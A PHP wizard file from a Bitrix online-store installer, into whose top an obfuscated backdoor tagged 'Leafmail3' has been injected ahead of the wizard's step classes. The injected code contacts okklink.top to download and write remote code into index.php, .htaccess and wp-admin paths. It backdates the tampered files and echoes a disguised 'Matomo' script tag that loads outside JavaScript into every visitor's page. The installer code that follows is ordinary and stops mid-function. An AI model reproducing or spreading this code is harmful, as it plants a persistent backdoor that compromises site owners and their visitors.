Your IP : 3.145.155.254
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
class Step0 extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_STEP0"));
$this->SetNextStep("step1");
$this->SetStepID("step0");
$this->SetFinishStep("install");
$this->SetCancelStep("cancel");
}
function ShowStep()
{
$this->content = GetMessage("WW_STEP_DESCR");
}
}
class Step1 extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_STEP1"));
$this->SetNextStep("step2");
$this->SetStepID("step1");
$this->SetFinishStep("install");
$this->SetCancelStep("cancel");
$dbSite = CSite::GetDefList();
if($arSite = $dbSite->Fetch())
{
CModule::IncludeModule("sale");
$arCurr = CSaleLang::GetByID($arSite["LID"]);
$wizard = &$this->GetWizard();
$wizard->SetDefaultVars(
Array(
"siteID" => $arSite["ID"],
"orderEmail" => "order@".$arSite["SERVER_NAME"],
"saveBasket" => 30,
"currencyID" => $arCurr["CURRENCY"],
)
);
}
}
function ShowStep()
{
CModule::IncludeModule("currency");
$arSites = Array();
//$dbSite = CSite::GetList($b="SORT", $o="ASC", Array("ACTIVE"=>"Y", "ID"=>"ru"));
$dbSite = CSite::GetList($b="SORT", $o="ASC", Array("ACTIVE"=>"Y"));
while($arSite = $dbSite -> Fetch())
{
$arSites[$arSite["ID"]] = $arSite["NAME"];
if($arSite["DEF"]=="Y")
$defSite = $arSite["ID"];
}
/*if(empty($arSites))
{
$dbSite = CSite::GetList($b="SORT", $o="ASC", Array("ACTIVE"=>"Y", "ID"=>"s1"));
while($arSite = $dbSite -> Fetch())
{
$arSites[$arSite["ID"]] = $arSite["NAME"];
if($arSite["DEF"]=="Y")
$defSite = $arSite["ID"];
}
}*/
$this->content = "<link rel=\"stylesheet\" type=\"text/css\" href=\"/bitrix/wizards/bitrix/sale.install/styles.css\">";
$this->content .= GetMessage("WW_STEP1_1").'<br /><table class="data-table">';
$this->content .= "<tr><th>".GetMessage("WW_STEP1_2").":</th><td>".$this->ShowSelectField("siteID", $arSites)."</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_STEP1_3")."</th><td>".$this->ShowInputField("text", "orderEmail", Array("size" => "20"))."</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_STEP1_4")."</th><td>".$this->ShowInputField("text", "saveBasket", Array("size" => "10"))."</td></tr>";
$dbCurrency = CCurrency::GetList($b="SORT", $o="ASC");
while($arCurrency = $dbCurrency -> Fetch())
$arCurrencies[$arCurrency["CURRENCY"]] = $arCurrency["CURRENCY"] ." (".$arCurrency["FULL_NAME"].")";
$this->content .= "<tr><th>".GetMessage("WW_STEP1_5")."</th><td>".$this->ShowSelectField("currencyID", $arCurrencies)."</td></tr>";
$this->content .= "</table>";
}
}
class Step2 extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_STEP2"));
$this->SetPrevStep("step1");
$this->SetNextStep("step3");
$this->SetStepID("step2");
$this->SetFinishStep("install");
$this->SetCancelStep("cancel");
CModule::IncludeModule("sale");
$wizard = &$this->GetWizard();
$siteID = $wizard->GetVar("siteID", true);
$dbPersonType = CSalePersonType::GetList(Array("SORT"=>"ASC"), Array("ACTIVE" => "Y", "LID" => $siteID));
while($arPersonType = $dbPersonType->Fetch())
$arPersons[] = $arPersonType["ID"];
$wizard->SetDefaultVars(
Array(
"personType" => $arPersons,
)
);
}
function OnPostForm()
{
$wizard = &$this->GetWizard();
if ($wizard->IsNextButtonClick() || $wizard->IsFinishButtonClick())
{
$personType = $wizard->GetVar("personType");
if (empty($personType))
$this->SetError(GetMessage("WW_STEP2_1"), "personType[]");
}
}
function ShowStep()
{
$wizard = &$this->GetWizard();
$siteID = $wizard->GetVar("siteID");
$personType = $wizard->GetVar("personType");
CModule::IncludeModule("sale");
$dbPersonType = CSalePersonType::GetList(Array("SORT"=>"ASC"), Array("LID" => $siteID));
while($arPersonType = $dbPersonType->Fetch())
{
$arPersons[$arPersonType["ID"]] = $arPersonType["NAME"];
}
$this->content .= GetMessage("WW_STEP2_2")."<br />";
foreach($arPersons as $k => $v)
{
$this->content .= $this->ShowCheckboxField("personType[]", $k, Array("id" => $k))." <label for=\"".$k."\">".htmlspecialcharsEx($v)."</label><br />";
}
}
}
class Step3 extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_STEP3"));
$this->SetPrevStep("step2");
$this->SetNextStep("step4");
$this->SetStepID("step3");
$this->SetFinishStep("install");
$this->SetCancelStep("cancel");
CModule::IncludeModule("sale");
$wizard = &$this->GetWizard();
$siteID = $wizard->GetVar("siteID", true);
$personType = $wizard->GetVar("personType", true);
$dbPaySystem = CSalePaySystem::GetList(Array("SORT"=>"ASC"), Array("ACTIVE" => "Y", "LID" => $siteID));
$i=-1;
$arTmp = Array();
if(empty($personType))
$personType = Array();
while($arPaySystem = $dbPaySystem->Fetch())
{
$dbPaySystemAction = CSalePaySystemAction::GetList(
array("NAME" => "ASC"),
array("PAY_SYSTEM_ID" => $arPaySystem["ID"])
);
while($arPaySystemAction = $dbPaySystemAction -> Fetch())
{
$i++;
if(in_array($arPaySystemAction["PERSON_TYPE_ID"], $personType))
$arTmp[$arPaySystemAction["PERSON_TYPE_ID"]][] = $arPaySystem["ID"];
}
}
$wizard->SetDefaultVars(Array("paySystem" => $arTmp));
}
function OnPostForm()
{
$wizard = &$this->GetWizard();
if ($wizard->IsNextButtonClick())
{
$paySystem = $wizard->GetVar("paySystem");
$personType = $wizard->GetVar("personType");
$bFound = false;
foreach($personType as $v)
{
if(!empty($paySystem[$v]))
$bFound = true;
}
if(!$bFound)
$wizard->SetCurrentStep("step5");
}
}
function ShowStep()
{
$personType = Array();
$wizard = &$this->GetWizard();
$siteID = $wizard->GetVar("siteID");
$personType = $wizard->GetVar("personType");
CModule::IncludeModule("sale");
$arPaySystems = Array();
$arPersons = Array();
